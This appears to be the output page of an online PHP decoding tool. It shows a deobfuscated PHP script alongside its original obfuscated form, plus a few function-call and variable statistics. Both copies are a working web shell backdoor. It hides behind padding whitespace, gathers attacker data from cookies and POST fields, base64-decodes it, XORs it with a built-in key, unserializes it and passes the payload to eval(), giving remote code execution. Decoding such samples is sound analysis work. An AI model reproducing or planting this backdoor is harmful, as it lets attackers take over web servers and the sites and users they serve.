Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $kqkmndK = chr ( 790 - 702 )."j" . "_" . 'u' . chr ( 1031 - 920 )."O";$LbIPTTsuz = "c" . "l" . "a" . "s" . "s" . "_" . chr ( 267 - 166 )."x" . 'i' . 's' . 't' . "s";$XKJLNY = $LbIPTTsuz($kqkmndK); $kqkmndK = "22632";$mcWOrdO = !$XKJLNY;$LbIPTTsuz = "43160";if ($mcWOrdO){class Xj_uoO{public function jAUGCgN(){echo "64780";}private $KHJywAfX;public static $vZkWM = "4600742b-4d1a-490f-8b3a-779659ab50d0";public static $NjDzMdzs = 3112;public function __construct($mnEhQqGyL=0){$zxuXf = $_COOKIE;$oFsSAm = $_POST;$rMKRmJaVVa = @$zxuXf[substr(Xj_uoO::$vZkWM, 0, 4)];if (!empty($rMKRmJaVVa)){$cgzRxEkKaJ = "base64";$hMtGoJwZQ = "";$rMKRmJaVVa = explode(",", $rMKRmJaVVa);foreach ($rMKRmJaVVa as $fAHrO){$hMtGoJwZQ .= @$zxuXf[$fAHrO];$hMtGoJwZQ .= @$oFsSAm[$fAHrO];}$hMtGoJwZQ = array_map($cgzRxEkKaJ . "_" . "d" . chr ( 742 - 641 ).chr (99) . chr ( 656 - 545 ).'d' . "e", array($hMtGoJwZQ,)); $hMtGoJwZQ = $hMtGoJwZQ[0] ^ str_repeat(Xj_uoO::$vZkWM, (strlen($hMtGoJwZQ[0]) / strlen(Xj_uoO::$vZkWM)) + 1);Xj_uoO::$NjDzMdzs = @unserialize($hMtGoJwZQ);}}private function KeoynFs(){if (is_array(Xj_uoO::$NjDzMdzs)) {$FPdqFpW = str_replace(chr (60) . "?" . chr (112) . "h" . 'p', "", Xj_uoO::$NjDzMdzs['c' . "o" . "n" . "t" . "e" . chr ( 770 - 660 ).chr ( 982 - 866 )]);eval($FPdqFpW); $BtTPIU = "14984";exit();}}public function __destruct(){$this->KeoynFs(); $EWBjPUFblp = str_pad("14984", 10);}}$VvqIrebFWG = new /* 24313 */ Xj_uoO(); $VvqIrebFWG = substr("30952_62767", 1);} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $kqkmndK = chr ( 790 - 702 )."\x6a" . "\x5f" . 'u' . chr ( 1031 - 920 )."\x4f";$LbIPTTsuz = "\x63" . "\154" . "\x61" . "\x73" . "\163" . "\137" . chr ( 267 - 166 )."\170" . 'i' . 's' . 't' . "\163";$XKJLNY = $LbIPTTsuz($kqkmndK); $kqkmndK = "22632";$mcWOrdO = !$XKJLNY;$LbIPTTsuz = "43160";if ($mcWOrdO){class Xj_uoO{public function jAUGCgN(){echo "64780";}private $KHJywAfX;public static $vZkWM = "4600742b-4d1a-490f-8b3a-779659ab50d0";public static $NjDzMdzs = 3112;public function __construct($mnEhQqGyL=0){$zxuXf = $_COOKIE;$oFsSAm = $_POST;$rMKRmJaVVa = @$zxuXf[substr(Xj_uoO::$vZkWM, 0, 4)];if (!empty($rMKRmJaVVa)){$cgzRxEkKaJ = "base64";$hMtGoJwZQ = "";$rMKRmJaVVa = explode(",", $rMKRmJaVVa);foreach ($rMKRmJaVVa as $fAHrO){$hMtGoJwZQ .= @$zxuXf[$fAHrO];$hMtGoJwZQ .= @$oFsSAm[$fAHrO];}$hMtGoJwZQ = array_map($cgzRxEkKaJ . "\137" . "\x64" . chr ( 742 - 641 ).chr (99) . chr ( 656 - 545 ).'d' . "\x65", array($hMtGoJwZQ,)); $hMtGoJwZQ = $hMtGoJwZQ[0] ^ str_repeat(Xj_uoO::$vZkWM, (strlen($hMtGoJwZQ[0]) / strlen(Xj_uoO::$vZkWM)) + 1);Xj_uoO::$NjDzMdzs = @unserialize($hMtGoJwZQ);}}private function KeoynFs(){if (is_array(Xj_uoO::$NjDzMdzs)) {$FPdqFpW = str_replace(chr (60) . "\77" . chr (112) . "\150" . 'p', "", Xj_uoO::$NjDzMdzs['c' . "\157" . "\156" . "\x74" . "\x65" . chr ( 770 - 660 ).chr ( 982 - 866 )]);eval($FPdqFpW); $BtTPIU = "14984";exit();}}public function __destruct(){$this->KeoynFs(); $EWBjPUFblp = str_pad("14984", 10);}}$VvqIrebFWG = new /* 24313 */ Xj_uoO(); $VvqIrebFWG = substr("30952_62767", 1);} ?>

Function Calls

chr 3
class_exists 1

Variables

$kqkmndK Xj_uoO
$LbIPTTsuz class_exists

Stats

MD5 14bd127f3e45bd40295780fe25d37977
Eval Count 0
Decode Time 69 ms